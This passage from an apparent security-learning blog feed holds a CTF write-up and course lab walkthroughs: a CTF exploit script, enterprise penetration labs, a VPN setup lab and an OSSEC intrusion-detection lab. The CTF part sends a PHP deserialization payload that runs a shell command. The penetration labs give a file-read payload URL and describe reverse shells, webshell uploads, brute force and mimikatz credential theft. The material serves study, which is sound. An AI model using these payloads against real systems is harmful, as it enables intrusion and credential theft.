    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██
    ████████████▒▒██████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
    ████████████▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒
    -->
    <script src="//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
    <div id="snowfall"></div>
    <script>
    particlesJS("snowfall", {
    "particles": {
    "number": {
    "value": 100
    },
    "shape": {
    "type": "circle"
    },
    "size": {
    "value": 10,
    "random": true
    },
    "line_linked": {
    "enable": false
    },
    "move": {
    "enable": true,
    "speed": 2,
    "direction": "bottom",
    "straight": false
    }
    },
    "interactivity": {
    "detect_on": "canvas",
    "events": {
    "onhover": {
    "enable": false
    }
    },
    "modes": {
    "push": {
    "particles_nb": 12
    }
    }
    }
    });
    </script>
    <!--
    <a href="/?whatareyounongshane=src">我真的是源码?</a>
    <a href="/?whatareyounongshane=cmd">干点好事!</a>
    <a href="/?whatareyounongshane=upload">送点东西!</a>
    <a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
    -->
    </body>
    所以哪个ISCC是真的?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import requests

    url="http://39.96.91.106:7050/"

    files={
    'iscc_file':("b",open("1.png","rb")),
    "_SESSION":("isccIsCciScc1scc","hello")
    }

    r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
    print(r.text)
    ]]>
    + + + + + CTF + + + + + + + CTF + + + +
    + + + + + 企业渗透2 + + /2021/05/02/%E6%B8%97%E9%80%8F2/ + + 实验描述

    操作机的操作系统是kali 进入系统后默认是命令行界面 输入startx命令即可打开图形界面。

    所有需要用到的信息和工具都放在了/home/Hack 目录下。

    本实验的任务是通过外网的两个主机通过代理渗透到内网的两个主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

    实验目的

    Weblogic的java反序列漏洞应用
    Wordpress任意文件读取的漏洞利用
    Wordpress命令执行的漏洞利用
    WordPress通过自己修改的EXP,getshell
    通过代理扫描内网
    Redis未授权访问以及对配置文件的理解
    Ffmpeg任意文件的读取结合redis的利用
    Drupal由于YAML解析器处理不当导致远程代码执行

    实验环境

    操作系统IP地址服务器角色登录账户密码
    Kali Linux192.168.2.10操作机用户名:root;密码:Simplexue123
    Centos 7192.168.2.11目标机用户名:root;密码:Simplexue123
    Centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
    Centos 7192.168.1.11目标机用户名:root;密码:Simplexue123
    Centos 7192.168.2.200目标机用户名:root;密码:Simplexue123

    任务一 Weblogic反序列化

    1
    2
    整体扫描外部网络,探测暴露在外部的主机信息
    利用java反序列化漏洞利用脚本执行系统命令。

    实验目的

    通过完成本实验任务,要求学生掌握利用java反序列化漏洞利用脚本攻击weblogic服务的技术。掌握weblogic服务的常见端口,启动jar程序的方法和攻击weblogic的流程、方法和技巧,为完成后续企业渗透实验任务奠定坚实的漏洞利用技术基础。

    打开kal操作机

    访问192.168.2.10:7001

    image-20210511164542470

    打开home/HACK目录下的工具

    image-20210511164750762image-20210511165117929

    输入HOST、端口、以及CMD命令

    image-20210511165325031

    点击connect并执行

    根据提示,找到/home/flag下的flag.txt文件

    image-20210511165712024

    任务二 Wordpress任意文件读取

    任务内容:

    1
    2
    使用wpscan工具扫描wordpress的插件漏洞
    主要针对插件WP Hide Security Enhancer存在的任意文件读取漏洞,以此读取到网站主要文件。

    image-20210511170357840

    利用wpscan扫描wordpress网站,扫描漏洞插件

    命令:wpscan –url 192.168.2.11 –enumerate p

    image-20210511170541006

    发现插件存在漏洞

    根据提示直接上payload

    http://192.168.2.11/wp-content/plugins/wp-hide-security-enhancer/router/file-process.ph p?action=style-clean&file_path=/wp-config.php

    得到flag

    image-20210511170853149

    任务三 Wordpress命令执行

    任务内容:

    1
    2
    利用Burpsuite的repeater模块修改包探测漏洞存在的字段。
    执行wordpress mailer命令执行漏洞的利用脚本尝试获取shell。

    操作步骤

    1
    2
    3
    访问目标网站,在浏览器中配置代理,用Burpsuite拦截请求包
    使用Burpsuite的repeater模块探测漏洞字段。
    理解wordpress mailer漏洞的原理,执行wp.sh 脚本获取响应 信息

    首先找到登陆入口

    image-20210511171155980

    对firefox及burpsuite设置代理,拦截请求。

    image-20210511171245109

    image-20210511171408750

    image-20210511171428356

    利用提供的脚本getshell,获得flag

    任务四 改进漏洞利用脚本获得命令执行权限

    实验目标

    1
    2
    3
    4
    5
    了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
    熟悉sendmail命令语法。
    掌握webshell命令执行漏洞的常规下载执行的利用思路。
    掌握在浏览器上配置代理的方法。
    掌握利用Burpsuite的repeater模块改包测试的过程。

    实验步骤

    1
    2
    3
    4
    查看漏洞利用脚本wordpress-rce-exploit.sh理解脚本改进的原理。
    填写漏洞利用脚本的关键信息如反弹IP,监听端口等。本地监听设置的端口获取反弹的shell。
    利用shell上传regeorg的tunnel.php文件,使用regeorg架设代理
    通过proxychains设置好regeorg的代理,利用这个代理扫描内网1.0网段
    image-20210511180514611

    首先查看脚本内容

    修改recv_host=”192.168.2.200”

    设置监听端口

    nc –lvvp 7777

    反弹shell

    任务五 redis未授权访问+ffmpeg 任意文件读取

    任务内容:

    1
    2
    查看网页中的信息可知,是通过ffmpeg处理视频的小应用,只有上传,下载和删除功能,此处存在ffmpeg文件读取漏洞,构造特定的avi视频,经过ffmpeg处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取redis配置文件内容。
    redis数据库服务,允许外连且没有设置密码,可以随意访问,此处存在未授权访问漏洞,正常情况下可以写入文件,但是过程中发现,必要的config命令被替换了。而config命令的替换一定是写在redis的配置文件中的,配置文件的路径又可以在redis中执行info获取到。在以上环境中获取到redis服务器的shell。

    image-20210511192133312

    任务六 drupal8远程代码执行

    1
    2
    3
    使用浏览器挂代理访问内网机器192.168.1.10。
    利用drupal8的php反序列化漏洞向目标服务器写入webshell。
    使用Cknife连接已经生成的webshell

    实验目标

    1
    2
    3
    4
    5
    了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
    熟悉网站webshell的概念,理解上传webshell、获取webshell权限的意义和方法。
    掌握webshell工具Cknife的基本使用,特别是设置代理的功能,查看上传文件,命令执行等功能的使用。
    掌握在浏览器上配置代理的方法。
    掌握利用drupal8的php反序列化漏洞的攻击方法和相关的技术原理。

    操作步骤

    1
    2
    3
    4
    5
    使用浏览器结合proxychains用之前的代理访问内网中的drupal8的web应用。
    弱口令登录目标网站后台
    利用反序列化漏洞执行phpinfo 探测网站信息
    利用反序列化漏洞写入webshell,并测试存在
    用Cknife设置代理连接webshell获取网站的权限

    image-20210511192257809

    image-20210511192310808

    然后利用exp写入webshell

    image-20210511192516771

    中国菜刀连接,即可获得flag。

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + 企业渗透1 + + /2021/04/30/%E6%B8%97%E9%80%8F1/ + + 实验描述

    本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

    本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

    实验目的

    1
    2
    3
    4
    5
    6
    爆破web网站后台,进入后台上传webshell
    通过sql注入漏洞获取webshell
    通过phpmyadmin写webshell
    通过代理扫描内网
    通过数据库中获取的密码登录内网机器
    抓取域控账号和密码登录域控

    实验环境

    操作系统IP地址服务器角色登录账户密码
    Windows7192.168.1.200操作机用户名:administrator;密码:Simplexue123
    centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
    Windows2012192.168.2.10目标机用户名:administrator;密码:Simplexue123
    Windows2012192.168.2.11目标机用户名:administrator;密码:Simplexue123

    任务一 后台文件上传

    描述:

    1
    2
    使用wwwscan扫描网站后台目录,利用Burpsuite工具爆破网站后台用户名密码,获取cms的管理员密码登录后台。
    构造php一句话木马,利用后台任意文件上传漏洞将木马上传到目标服务器,然后再使用中国菜刀连接一句话木马,获取目标服务器的webshell以便进行后续的操作。

    首先打开网页查看

    image-20210506201939054

    发现是织梦CMS

    使用wwwscan爆破网站后台目录

    image-20210506202129351

    image-20210506202228623

    发现后台登陆:manager/login.php

    image-20210506202453744

    填写密码,使用bp抓包

    image-20210506202604343

    image-20210506202625359

    选择密码字典爆破

    image-20210506202719447

    成功:admin:1q2w3e4r

    image-20210506202909814

    登陆成功并上传一句话木马

    image-20210506203157878

    打开中国菜刀并进行连接

    image-20210506203933982

    image-20210506204020172

    任务二 sql注入

    1
    2
    利用之前扫描目录得到的结果访问到测试的sql页面,利用SQL注入漏洞获得网站数据库信息
    构造SQL注入语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。
    1
    2
    3
    访问/sql目录,利用SQL注入漏洞获取网站数据库基本信息,如当前使用的数据库用户等。
    利用SQL注入漏洞读取apache的配置文件,并通过配置文件中获取的网站根目录将一句话木马写入到网站目录中。
    使用中国菜刀连接目标服务器上的一句话木马,查找网站根目录下文件中包含的flag值并提交

    image-20210506204835331

    image-20210506204901994

    image-20210506205006586

    读取配置文件

    使用双写绕过

    image-20210506205715832

    image-20210506205902058

    向/var/www/html写入一句话木马

    image-20210506210029983

    菜刀连接,并获取flag

    任务三 phpmyadmin写shell

    1
    2
    利用之前扫描目录得到的结果访问到phpmyadmin的页面,利用弱口令登录到phpmyadmin服务中。
    构造SQL语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。

    image-20210506210247038

    使用弱口令登陆

    root,root

    image-20210506210525029

    image-20210506210613967

    任务四

    1
    2
    3
    4
    上传内网扫描的脚本到web的机器上,并对内网192.168.2.0/24段进行扫描
    上传regeorg工具到web机器上开启代理服务
    使用proxifier 工具代理远程连接访问登录到2.11上
    读取C盘上根目录下的文件中的flag字符串,提交后该实验任务完成。

    image-20210506211116806

    image-20210506211151526

    任务五

    1
    2
    利用已经登录到远程桌面的机器,上传mimikatz工具抓取机器内存中的密码。
    利用抓取到的密码登录到另一台机器2.10中。

    image-20210506211320381

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + VPN实验 + + /2021/04/21/VPN%E5%AE%9E%E9%AA%8C/ + + 实验任务

    虚拟专用网(VPN)被定义为通过一个公用网络(通常是因特网)建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。虚拟专用网是对企业内部网的扩展。虚拟专用网可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。虚拟专用网可用于不断增长的移动用户的全球因特网接入,以实现安全连接;可用于实现企业网站之间安全通信的虚拟专用线路,用于经济有效地连接到商业伙伴和用户的安全外联网虚拟专用网。

    实验任务

    任务一 使用IP命令搭建基于隧道的虚拟专有网络
    任务二 使用加密工具OpenSSL创建加密密钥
    任务三 SSL VPN之OpenVPN的安装配置
    任务四 IPsecVPN原理及安装配置
    任务五 云计算中基于Overlay技术的隧道网络实现

    实验目的

    掌握如何搭建基于隧道的虚拟专有网络
    掌握加密算法了解及其应用
    掌握如何安装部署配置openvpn服务端与客户端
    掌握IPsecVPN原理及安装部署
    了解公有云中overlay的实现

    实验环境

    操作系统IP地址服务器角色登录账户密码
    Windows2012192.168.0.11操作机用户名:administrator;密码:Simplexue123
    centos7_1192.168.1.11目标机用户名:root;密码:Simplexue123
    centos7_2192.168.2.11目标机用户名:administrator;密码:Simplexue123

    任务一

    使用IP命令搭建基于隧道的虚拟专有网络

    实现两不同网络内的内网通过ip隧道使之互通并检测。

    image-20210422151231083

    修改主机名

    1
    2
    # hostnamectl set-hostname vpn1
    # hostnamectl set-hostname vpn2
    1
    [root@vpn1 ~]# modprobe ip_gre

    加载ip_gre内核模块

    image-20210422152129613

    配置tunnel(GRE隧道)使它们互通

    1
    2
    [root@vpn1 ~] ip tunnel add gre1 mode gre remote 192.168.2.11 local 192.168.1.11 ttl 255
    [root@vpn1 ~] ip a | grep gre1

    启动gre1并分配ip地址10.10.10.1

    vpn2创建一个GRE类型隧道设备gre1, 并设置对端IP为192.168.1.11

    测试隧道是否通

    image-20210422152200036

    最后卸载GRE模块。

    任务二

    使用加密工具OpenSSL创建加密密钥

    查看帮助信息

    image-20210422153402076

    生产RSA私钥

    生成rsa_private.key私钥对应的公钥

    生成RAS含密码(使用aes256加密)公私钥

    1
    [root@vpn1 ~]# openssl genrsa -aes256 -passout pass:simple -out rsa__aes_private.key 2048

    加密与非加密之间的转换

    生成 RSA 私钥和自签名证书

    image-20210422155013278

    任务三

    SSL VPN之OpenVPN的安装配置

    【任务描述】
    本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
    (1)搭建openvpn服务端与客户端。
    (2)实现客户端可访问服务端机器
    【实验目标】
    1.了解企业级别openvpn的使用场景。
    2.掌握企业级别openvpn搭建和使用。
    3.掌握openvpn客户端与服务端的搭建配置。

    在vpn1机器安装openvpn并验证

    1
    2
    [root@vpn1 ~]# yum clean all
    [root@vpn1 ~]# yum install openvpn -y

    修改openvpn的配置文件server.conf配置文件的内容

    image-20210422160021557

    修改openvpn服务端的配置文件

    设置启动用户

    安装密钥生成软件

    配置生成证书的环境变量.并使之生效

    1
    systemctl start
    1
    systemctl enable
    1
    systemctl status

    启动openvpn客户端并挂后台运行

    image-20210422160050158

    查看网卡信息

    openvpn nat配置

    任务四

    【任务描述】
    本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
    (1)搭建ipsec服务端与客户端。
    (2)实现客户端可访问服务端机器
    【实验目标】
    1.了解企业级别ipsec的使用场景。
    2.掌握企业级别ipsec搭建和使用。
    3.掌握ipsec客户端与服务端的搭建配置。
    4.掌握ipsec多种验证方式的实现

    添加配置文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [root@vpn1 ~]# vim  /etc/sysctl.conf
    net.ipv4.ip_forward = 1
    net.ipv4.conf.default.rp_filter = 0
    net.ipv4.conf.all.accept_redirects = 0
    net.ipv4.conf.all.send_redirects = 0
    net.ipv4.conf.default.accept_redirects = 0
    net.ipv4.conf.default.send_redirects = 0
    net.ipv4.conf.eth0.accept_redirects = 0
    net.ipv4.conf.eth0.send_redirects = 0
    net.ipv4.conf.eth1.accept_redirects = 0
    net.ipv4.conf.eth1.send_redirects = 0
    net.ipv4.conf.lo.accept_redirects = 0
    net.ipv4.conf.lo.send_redirects = 0

    image-20210422160332518

    安装openswan、libreswan并验证安装

    启动服务看是否正常

    1
    2
    3
    [root@vpn1 ~]# yum install openswan libreswan  -y
    [root@vpn1 ~]# ipsec --version
    Linux Libreswan U3.20/K(no kernel code presently loaded) on 3.10.0-693.5.2.el7.x86_64

    两端重新启动服务,并验证

    1
    2
    [root@vpn1 ~]# systemctl restart   ipsec.service
    [root@vpn1 ~]# ipsec auto --up net-to-net

    在VPN1和VPN2上分别生成一个新的RSA密钥对

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    conn net-to-net
    # 一端IP地址
    left=192.168.1.11
    #一端内网网段地址
    leftsubnet=10.0.0.0/24
    #一端的标识符,可以任意填写,如果多个连接需要区分
    leftid=@vpn1
    leftnexthop=%defaultroute
    leftrsasigkey=0sAwEAAbUpvs46MbqUxc8bzuU58C0H+tMdYj+JrexW8O3f6WmAIhfNXraG6RBuEchvUePABQGH4eCIlxFj6xRLWnndE4HGOEGFds/ogtG6jmUaE93FXiSby2Ucefm/1DldzNHfneQONo0grR86XWisKgxeV7YjUaqJUFTbYa2iDrivPNqkGqykP6aNpRXk4Kv49mKRKEgGFDpC/82qa45hh6ItL0Itq9QkTDqUQxzcA9fp8rz1adfUAOCKZaXMNfaD7zeaI+gJKyX3D7lb0h/7Nb8qwloaK1kE3BHvrUDZflqlE26NG/+Qfki8a/cp1sfphySmrtSaORKraDwspFZPF3jgeZO98rpiv43sNL1oUOBLwMzRWkZ6K4moMSKcrc32JKXu54klWxjVzVYnR+VOLpB4mPW+gPG9Rbi79VzfAsy2aTTKB73mOqHM6LrkMPo09OFTlfRTwKdG5nz1gjilYvYdi+uLQAdHZvYA2BhoSG2UC5mPC2sHwjLt39dcnq7+I2yyiePYECRGXtCveymJfOBlP1oA1LmkXq5HabgCgqRXDFK7IqkQzkaik+pox8xGrBYNBkrJeokjJ7+QkkFsl3eAKQS5ITp0XGmg6y1ltU7QcRbhKkLndJ9ZcaIWJw==
    right=192.168.2.11
    rightsubnet=10.0.1.0/24
    rightid=@vpn2
    rightnexthop=%defaultroute
    rightrsasigkey=0sAwEAAa8cMIBatj+qSxIv+fg75elY9Vbw2lKNnap4rDsVXrS/gRb65I/IQpbjLswePCOllJ1jF5Y3HDOBTBR4wDGWpVlhY5laKnxQnFPeFMeqdCY6p7NWqN4Khf2Pl6YRo5zPe3P0PXuykv0Ns3ga11EEe/NNmwzL8J/9rd3yxbOIH9/lEaKh6pds0ys6aFZH0V0pwNnc7yg0ESKJ9i+uSDVEeDa+OubQv7+lBGuvCxVjhd/bHaqhGTw2UTw001q+zW4T9qGYuctOn5MWAHZsFXAnKu3wwPGMdHpsVbnZjtIPvsKuuD339H42mGAZ6NM2MLSLbZEaVMnaSv3bdVMBjMCe7ur4/N8suJqmZOofPGBCfV0AkLS5Z6J45eERdHxzmweaeprkamfS8nyMxwJeI7ovHiRfh1+jAufCGdeJ9YgMj4mmeVijLqepsmf0WVhga4XOXiLzRcUtE/DKOvHrE9x9QrWeFQwoQ/fOCLvh40iIn80ggZibeuROqhhU8ms4uers4IRhrhAF4ZUCqcxuHm/viNT0nJ6nN3tKfgp0Yc87S4+xA7S5920iQ/YKGMFF58k1TDQOes8la3yWnPBo4O+WegJDtbvyEXk=
    #add代表只是添加,但并不会连接,如果为start则代表着启动自动连接
    auto=add
    1
    2
    [root@vpn1 ~]# systemctl restart   ipsec.service
    [root@vpn1 ~]# ipsec auto --up net-to-net

    任务五

    【任务描述】
    本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
    (1)搭建overlay网络实现不同宿主机之间同网段机器相通。
    (2)检测网络联通性。
    【实验目标】
    1.了解overlay网络的使用场景。
    2.掌握overlay搭建和使用。
    3.掌握openvswitch的使用。

    在VPN1和VPN2分别安装openvswitch并启动服务

    1
    [root@vpn1 ~]# yum install openvswitch -y

    启动服务

    1
    [root@vpn1 ~]# systemctl start openvswitch.service

    配置VPN1,2

    搭建VXLAN隧道

    1
    ifconfig br0 10.1.0.2/24 up

    image-20210422160925462

    1
    ovs-vsctl add-port br0 vx1 -- set interface vx1 type=vxlan options:remote_ip=192.168.1.11

    image-20210422160953588

    ]]>
    + + + + + blog + + + + +
    + + + + + 基于OSSEC的入侵检测 + + /2021/04/05/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/ + + 入侵检测实验

    实验背景

    计算机网络安全是一个国际化的问题,每年全球因计算机网络的安全系统被破坏而造成的经济损失达数百亿美元以上,这个数字还在不断增加。政府、银行、大企业等机构都有自己的内网资源。从网络安全的角度看,当公司的内部系统被入侵、破坏与泄密是一个严重的问题。据统计,全球80%以上的入侵来自于内部。由于性能的限制,防火墙通常不能提供实时的入侵检测能力,对于企业内部人员所做的攻击,防火墙形同虚设。因此,如何有效抵御网络入侵和攻击,已成为世界各国国家安全的重要组成部分,也是国家网络经济健康有序发展的关键。

    入侵检测被认为是防火墙之后的第二道安全闸门,入侵检测系统能使在入侵攻击对系统发生危害前,检测到入侵攻击,并利用报警与防护系统驱逐入侵攻击,在不影响网络性能的情况下能对网络进行监听,从而提供对内部攻击、外部攻击和误操作的实时保护,大大提高了网络的安全性。

    入侵检测实验通过企业复杂网络环境的入侵检测操作实战,要求学生深刻理解入侵检测和的概念、原理,进而熟悉入侵检测系统的功能,掌握常用的入侵检测技术和方法,最终具备娴熟的入侵检测能力和信息安全管理职业能力,能够胜任政府、金融、电商等企事业单位的信息安全系统设计、研究、管理等工作,并为国家网络空间安全事业做出应有的贡献。

    实验任务

    任务一 在不同的操作系统环境下安装和配置OSSEC代理,构建入侵检测环境;
    任务二 监视OSSIM服务器本地root用户的登录情况;
    任务三 基于SSH的远程非法入侵检测;
    任务四 监视CentOS7 root用户情况;
    任务五 监控Web服务器的访问日志。

    实验目的

    1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
    2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
    3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
    4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

    实验原理

    1. 入侵检测与入侵检测系统的概念

    入侵检测(Intrusion Detection,ID), 顾名思义,是对入侵行为的检测。它通过收集和分析计算机网络或计算机系统中若干关键点的信息,检查网络或系统中是否存在违反安全策略的行为和被攻击的迹象,以便决策者有效采取措施,以保证网络系统资源的机密性、完整性和可用性。

    入侵检测系统(intrusion detection system,简称“IDS”)是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全系统。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。

    1. OSSIM与OSSEC简介

    OSSIM即开源安全信息管理系统(OPEN SOURCE SECURITY INFORMATION MANAGEMENT),是一个非常流行和完整的开源安全架构体系。OSSIM通过将开源产品进行集成,从而提供一种能够实现安全监控功能的基础平台。 它的目的是提供一种集中式、有组织的、能够更好地进行监测和显示的框架式系统。

    OSSIM明确定位为一个集成解决方案,其目标并不是要开发一个新的功能,而是利用丰富的、强大的各种程序(包括Snort、Rrd、Nmap、 Nessus以及Ntop等开源系统安全软件)。在一个保留他们原有功能和作用的开放式架构体系环境下,将他们集成起来。而OSSIM项目的核心工作在于负责集成和关联各种产品提供的信息,同时进行相关功能的整合。由于开源项目的优点,这些工具已经是久经考验,同时也经过全方位测试、是可靠的工具。
    OSSEC是一个运行在OSSIM系统中的开源的入侵检测系统,从架构上看它属于C/S架构,从功能上看它可以执行日志收集与分析、完整性检测、rootkit检测、蠕虫检测、Windows注册表和实时报警等任务。它不仅支持OSSIM本身,还可以在UNIX、Linux、Mac、Windows系统中运行。由于OSSEC Server端就安装在OSSIM系统中,并和iptables实现了联动功能,因此只需在客户端安装代理即可,也就是通过OSSEC Server+Agent方式,以实现HIDS系统功能。

    OSSIM系统中的HIDS(Host-based Intrusion Detection System,简称HIDS,即基于主机型入侵检测系统。作为计算机系统的监视器和分析器,它并不作用于外部接口,而是专注于系统内部,监视系统全部或部分的动态的行为以及整个计算机系统的状态。)通过安装在其他操作系统上的Agent程序来审计操作系统以及用户的活动,比如用户的登录、命令操作、软件升级、系统文件的完整性、应用程序使用资源情况等,根据主机行为特征确定是否发生入侵行为,并把警报信息发送给OSSIM上的OSSEC Server。这种HIDS可以精确地分析入侵活动,能确定是哪一个用户或者进程对系统进行过攻击。

    OSSIM系统的工作流程为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    (1)作为整个系统的安全插件的探测器(Sensor)执行各自的任务,当发现问题时给予报警。
    (2)各探测器的报警信息将被集中采集。
    (3)将各个报警记录解析并存入事件数据库(EDB)。
    (4)根据设置的策略(Policy)给每个事件赋予一个优先级(Priority)。
    (5)对事件进行风险评估,给每个警报计算出一个风险系数。
    (6)将设置了优先级的各事件发送至关联引擎,关联引擎将对事件进行关联。注意:关联引擎就是指在各入侵检测传感器(入侵检测系统、防火墙等)上报的告警事件基础上,经过关联分析形成入侵行为判定,并将关联分析结果报送控制台。
    (7)对一个或多个事件进行关联分析后,关联引擎生成新的报警记录,将其也赋予优先级,并进行风险评估,存入数据库。
    (8)用户监控监视器将根据每个事件产生实时的风险图。
    (9)在控制面板中给出最近的关联报警记录,在底层控制台中提供全部的事件记录。

    实验工具

    • OSSIM
    • OSSEC
    • Putty
    • Firefox

    实验环境

    操作系统IP地址服务器角色登录账户密码
    OSSIM192.168.1.200OSSEC Server用户名:root;密码:Simplexue123
    CentOS7192.168.1.6OSSEC Agent用户名:root;密码:Simplexue123
    Windows 2012192.168.1.5OSSEC Agent用户名:administrator;密码:Simplexue123

    实验过程

    任务一

    1.安装OSSEC HIDS

    image-20210407201621741

    2.配置

    image-20210407201746103

    3.在windows2012操作系统(服务器IP地址:192.168.1.5)中,使用putty远程登录OSSIM服务器

    image-20210407202036641

    4.使用putty终端启动OSSEC代理管理程序,创建新OSSEC代理

    image-20210407202602565

    image-20210407203548341

    5.通过CentOS7终端SSH远程登录OSSIM服务器

    image-20210407204054614

    image-20210407204312076

    image-20210407204635717

    image-20210407205224315

    任务二

    2.1在windows2012上使用火狐浏览器访问OSSIM集成监测平台Web GUI界面,输入用户名admin和密码Simplexue123进行登录。

    img

    img

    2.2 OSSIM系统已经默认设置了很多常规适用的入侵检测规则,我们不需要另行配置就可以直接使用。除此之外,我们还需要在OSSIM集成检测平台上通过修改ossec.conf规则配置文件来设置OSSEC系统的入侵检测规则。在OSSIM web页面中,单击Analysis—>Detection—>HIDS—>Config—>Ossec.conf,可以看到OSSIM集成检测平台已经默认监视了日志文件/var/log/auth.log。如果在Ossec.conf文件中没有找到关于auth.log的监控信息,请自行添加该部分内容的规则配置信息。

    img

    2.3重启OSSIM服务器,重启登录成功后进入图形操作界面,按Ctrl+Alt+F1切换到命令行界面,输入用户名root和密码Simplexue123进行登录,再输入命令exit退出登录,之后按Ctrl+Alt+F7回到图形界面。图形界面和命令行界面的切换登录是为了给OSSEC入侵检测系统提供OSSIM服务器的root用户本地登录检测信息源,以便OSSEC系统获取root用户本地登录的相关日志信息。

    2.4在windows2012上远程连接到服务器192.168.1.200。

    img

    2.5在windows2012的OSSIM Web页面上,单击Analysis—> Security Events (SIEM),可以看到,Security Events页面中列出了OSSIM系统预设检测规则适用范围内的所有安全事件日志信息,可以找到通过putty远程登录时相关的SSH登录记录报警信息。该日志信息可作为系统管理员判断本次远程登录是否为非法入侵的重要报警信息。如果OSSIM服务器不允许root用户的远程登录操作,那么root用户的本次远程登录操作将被视为黑客入侵行为。

    img

    2.6在OSSIM web页面搜索框输入ossec,回车进行ossec报警数据过滤。

    img

    2.7因为OSSEC入侵检测系统监控了/var/log/auth.log文件,所以在OSSIM集成检测平台的OSSIM Web页面,除了记录SSH远程登录的相关安全日志信息,还会记录OSSEC报警信息,该报警信息可作为判断本次远程登录是否为非法入侵的重要依据。

    任务三

    3.1使用putty工具远程登录OSSIM服务器,在打开的终端中,使用CD命令进入“/var/ossec/rules”目录(该目录为OSSEC服务器的检测规则文件存储目录),并使用ls命令查看所有的OSSEC服务器端检测规则文件。可以修改这些文件的预设规则配置,来实现用户需要的自定义系统安全检测规则。其中,sshd_rules.xml为我们本实验任务需要自定义检测规则的文件,通过自定义规则,以实现收集root用户远程非法登录OSSIM服务器的报警信息的目的,为判定、分析入侵行为和动机提供重要依据。

    img

    3.2修改sshd_rules.xml规则文件中的其中一条(rule id号为5719),将level级别设置为2(level级别越高,优先级就越高,与该规则对应的报警信息将更优先被OSSIM服务器响应和处理),告警阈值设置为2次。该规则表示:当非法用户存在2次以上远程登录尝试操作,且操作时间超过30秒,那么将触发非法远程登录尝试报警。修改完sshd_rules.xml文件后保存并退出编辑状态。

    任务四

    4.1在OSSIM集成检测平台上设置规则,监测CentOS7用户情况。在CentOS7终端查看代理的配置文件,可以看到OSSIM集成检测平台默认监控/var/log/secure文件,如果没有该文件监控内容,请自行添加。

    img

    4.2重启OSSIM服务器(192.168.1.200)。

    img

    4.3使用工具模拟攻击者远程登录服务器(用户名root和密码Simplexue123)。

    4.4在服务器终端输入命令“adduser simpleware”、“passwd simpleware”,添加新用户simpleware,并将其密码设为Simplexue123。

    img

    img

    4.5回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到与CentOS7添加新用户相关的OSSEC报警信息。

    img

    4.6查看入侵检测系统检测到的报警信息,获得报警信息的字段特征。

    img

    因此OSSIM集成监测平台web页面中监测到的OSSEC代理新建用户的报警信息的signature:ossec:New user added to the system

    任务五

